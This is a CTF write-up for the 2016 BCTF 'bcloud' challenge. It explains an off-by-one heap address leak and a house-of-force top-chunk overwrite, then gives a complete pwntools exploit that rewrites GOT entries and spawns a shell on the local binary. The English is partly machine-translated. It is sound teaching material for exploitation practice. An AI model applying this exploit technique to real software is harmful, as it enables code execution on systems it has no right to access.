house_of_force ctf bcloud

Keywords: PHP Mobile Python Linux shell

2016 bctf bcloud download:
https://pan.baidu.com/s/1e-fvhaOJKzBQMxlrweLznw
Extraction code: ded5

Put it into ida and first locate main () - > init () - > set_name ()

unsigned int set_name()
{
  char name; // [esp + 1Ch] [ebp-5Ch] < -- Note here that if name overflows, it will overwrite * p
  char *p; // [esp+5Ch] [ebp-1Ch]
  unsigned int v3; // [esp+6Ch] [ebp-Ch]
  v3 = __readgsdword(0x14u);
  memset(&name, 0, 0x50u);
  puts("Input your name:");
  getSrt((int)&name, 0x40, 10);         //Look at this function carefully.
  p = (char *)malloc(0x40u);
  bss_name = (int)p;
  strcpy(p, &name);
  hello((int)p);
  return __readgsdword(0x14u) ^ v3;
}

int __cdecl getSrt(int a1, int a2, char a3)
{
  char buf; // [esp+1Bh] [ebp-Dh]
  int i; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; i < a2; ++i )    //If the length of the string is exactly a2
  {
    if ( read(0, &buf, 1u) <= 0 )
      exit(-1);
    if ( buf == a3 )
      break;
    a1[i] = buf;
  }
  a1[a2] = 0;   //If the for above does not exit in advance, there is an overflow of 1 byte
  return i;
}

int __cdecl hello(int a1)
{
  printf("Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n", a1);
  return puts("Now let's set synchronization options.");
}

The size of name on the stack is 0x40. If we type exactly'a'0x40, p will be overwritten to 0.

Then after malloc, P is changed to address, because it is the first malloc, so p-8 is the address of the heap.

Now there is no 0 between name and v3(canary) to end the string

And strcpy, a dangerous function, would not stop copying strings without0 as the end of the string.

In this way, p is copied into the name, and through the hello function, we can leak out the address of the heap.

Alike:

unsigned int set_org_host()
{
  char org; // [esp+1Ch] [ebp-9Ch]
  char *p_org; // [esp+5Ch] [ebp-5Ch]
  char host; // [esp+60h] [ebp-58h]
  char *p_host; // [esp+A4h] [ebp-14h]
  unsigned int v5; // [esp+ACh] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  memset(&org, 0, 0x90u);
  puts("Org:");
  getSrt((int)&org, 64, 10);
  puts("Host:");
  getSrt((int)&host, 64, 10);
  p_host = (char *)malloc(0x40u);
  p_org = (char *)malloc(0x40u);
  bss_org = (int)p_org;
  bss_host = (int)p_host;
  strcpy(p_host, (const char *)&host);
  strcpy(p_org, &org);
  puts("OKay! Enjoy:)");
  return __readgsdword(0x14u) ^ v5;
}

In this function, org points to the last chunk of the application.

If we fill up the memory of org, at the last strcpy of this function, * p_org will override the top_chunk-> prev_size bit.

It's not over yet, and the address p_org does not have \x00. If you continue to overwrite, the host will overwrite the top_chunk_size bit.

At this point, we found a vulnerability that could change the top_chunk size.

Then, continue reading the code:

int new()
{
  int result; // eax
  signed int i; // [esp+18h] [ebp-10h]
  int v2; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; i <= 9 && note[i]; ++i )
    ;
  if ( i == 10 )
    return puts("Lack of space. Upgrade your account with just $100 :)");
  puts("Input the length of the note content:");
  v2 = get_num();           
  note[i] = (int)malloc(v2 + 4);
  if ( !note[i] )
    exit(-1);
  list_len[i] = v2;
  puts("Input the content:");
  getSrt(note[i], v2, 10);
  printf("Create success, the id is %d\n", i);
  result = i;
  dword_804B0E0[i] = 0;
  return result;
}

We can control the size of the application memory, and we can also write this memory.

Contact the top_chunk we changed above, you can write arbitrary addresses through house of force

The program runtime menu is as follows:

1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>

There's no way to print out the contents of our memory in the program, because the option of 2 is a joke and the option of 5 is useless.

Because we can write freely, we can print out the contents of memory by changing the free function to printf.

Look at the third option:

int edit()
{
  int v1; // ST1C_4
  int v2; // [esp+14h] [ebp-14h]
  int v3; // [esp+18h] [ebp-10h]

  puts("Input the id:");
  v2 = get_num();
  if ( v2 < 0 || v2 > 9 )
    return puts("Invalid ID.");
  v3 = note[v2];
  if ( !v3 )
    return puts("Note has been deleted.");
  v1 = list_len[v2];
  dword_804B0E0[v2] = 0;
  puts("Input the new content:");
  getSrt(v3, v1, 10);
  return puts("Edit success.");
}

With this function, we can rewrite memory at any location more easily.

The utilization steps are as follows:

  • 1. By name leak heap address

  • 2. Increase top_chunk-> size through host and org
  • 3. Mobile top_chunk
    • Allow the re-application memory to cover the list_len and noet locations in the bss segment
    • Let noet point to the get table of functions
  • 4. Change free to printf
  • 5. Use false free function to print out atoi address
  • 6. Use atoi to get system address
  • 7. Change atoi to system

Utilization is as follows:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process('./bcloud')
elf=ELF('./bcloud')
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")

context.terminal = ["tmux","splitw","-h"]
context.arch = "i386"
#context.log_level='debug'
#gdb.attach(p)

#1. By name leak heap address
p.recvline("Input your name:")
p.send('a'*0x3c+'zzzz')      #Enough 0x40 and non
p.recvuntil('zzzz')
heap_addr=u32(p.recv(4))-8
success('1.heap addr = '+hex(heap_addr))

#2. Increase top_chunk-> size through host and org
p.recvuntil('Org:\n')
p.send('a'*0x40)
p.recvline('Host:')
p.sendline('\xff\xff\xff\xff')#Not enough 0x40 plus n

def add(size,content):
    p.sendline('1')    
    p.sendline(size) 
    p.sendline(content)
    p.recvuntil("Create success")
    p.recvline()

# 3. Mobile top_chunk
list_len= 0x804B0A0
note=0x804B120
atoi=elf.got['atoi']
free=elf.got['free']

size=heap_addr+3*0x48-list_len+16
#The heap address + the previous three heaps - list_len==> and the re-application is near list_len
#ps: Why add 16?
#The top_chunk has eight non-data areas and the new chunk has eight non-data areas.
add('-'+str(size),'junk') #The current operation is to move top_chunk up     

#The next chunk - > FD will be the list_len address 
size=note-list_len+4*10 #This size can be changed to list_len and note
payload=p32(4)*3+p32(0)*29#Why p32(4)*3 instead of * 2? Finally, the last address is used, and it's reserved now.
payload += p32(atoi)
payload += p32(free)
payload += p32(atoi)
payload += p32(0) * 8
add(str(size),payload)        #id=1

#4. Change free to printf
printf=elf.plt['printf']#Or put
#The program calls the free get table for the first time without the real address of free
#The program will jump to the corresponding plt to call the _dl_runtime_resolve function to find
#Change the plt address corresponding to free to the printf address
p.sendline('3')    
p.sendline('1') 
p.send(p32(printf))
p.recvuntil('Edit success.\n')

#5. Use false free function to print out atoi address
p.sendline('4')    
p.recvuntil('Input the id:\n')
p.sendline('0') 
atoi_addr=u32(p.recv(4))
success('2.atoi addr = '+hex(atoi_addr))
p.recvuntil('Delete success.\n')

#6. Use atoi_addr to get system address
system = atoi_addr-libc.symbols['atoi']
system +=libc.symbols['system']
success('3.system addr = '+hex(system))

#7. Change atoi to system
p.sendline('3')    
p.sendline('2') 
p.send(p32(system))
p.recvuntil('option--->>\n')
p.recvuntil('option--->>\n')

#8.get shell
p.sendline('/bin/sh\x00')
p.interactive()

Posted by brodwilkinson on Fri, 05 Jul 2019 10:55:43 -0700